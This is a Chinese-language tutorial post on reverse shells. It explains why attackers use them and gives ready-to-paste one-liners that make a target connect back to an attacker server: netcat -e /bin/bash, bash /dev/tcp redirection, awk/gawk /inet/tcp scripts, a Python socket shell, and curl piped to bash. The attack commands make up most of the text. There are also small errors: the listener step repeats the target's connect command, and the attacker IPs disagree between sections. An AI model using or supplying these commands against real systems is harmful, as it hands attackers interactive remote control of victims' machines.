反弹shell(reverse shell),就是控制端(攻击者所有)监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转发到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念上的客户端与服务端的角色反转。
•目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
•目标机端口被占用。•目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
•对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
对于以上几种情况,我们是无法利用正向连接的,要用反向连接。
反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入
以下详细介绍Windows和Linux系统下反弹shell的几种方式。
攻击机:华为云服务器
靶机:linux
Netcat 是一款简单的Unix工具,使用UDP和TCP协议。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。使用它你可以轻易的建立任何连接。
攻击机开启本地监听:
netcat 120.xx.xx.141 2333 -e /bin/bash
目标机主动连接攻击机:
netcat 120.xx.xx.141 2333 -e /bin/bash
效果如下:
这个方法不管是打CTF或者是挖洞的时候用的比较多,个人感觉反弹shell最好用的方法就是使用bash结合重定向方法的一句话
bash -i >& /dev/tcp/120.xx.xx.141/2333 0>&1
下是针对Bash反弹一句话进行了拆分说明:
命令 |
命令详解 |
---|---|
bash -i |
产生一个bash交互环境。 |
>& |
将联合符号前面的内容与后面相结合,然后一起重定向给后者。 |
/dev/tcp/47.xxx.xxx.72/2333 |
Linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。 |
0>&1 |
将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。 |
Bash反弹一句完整的解读过程就是:
Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。
但是这里 会提示没有/dev/tcp 这是怎么回事 ,解释和解决方法如下
https://evilpan.com/2021/04/25/reverse-shell/
但是一般情况是直接可以进行反弹的
awk是一种处理文本文件的语言,是一种解释型的编程语言,可以使用awk来处理反弹的命令。
目标机输入:
awk 'BEGIN {s = "/inet/tcp/0/120.xx.xx.141/2333"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
攻击机还是一样开启监听:
nc -lvvp 2333
与 bash 的连接相比,awk 的实现增加了更多功能,可以指定 IPv4/IPv6,以及指定绑定的本地端口。
gawk 'BEGIN{s="/inet/tcp/0/120.xx.xx.141/2333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
当目标机上有python环境就饿可以使用下面指令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.xx.xx.141",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
在目标机上执行 curl 攻击者web服务ip|bash,该 ip 的web服务目录里的 index 文件上含有 bash 一句话,就可以反弹shell。
首先,在攻击者自己的服务器 web 目录里面创建一个index文件(index.php或index.html),内容如下:
bash -i >& /dev/tcp/攻击者主机ip/port 0>&1
开启2333端口的监听。
然后再目标机上执行如下,即可反弹shell:
curl 120.xxx.xxx.72|bash
效果:
个人认为第2,5,6种方法较为常用,2是最常用的可以深入了解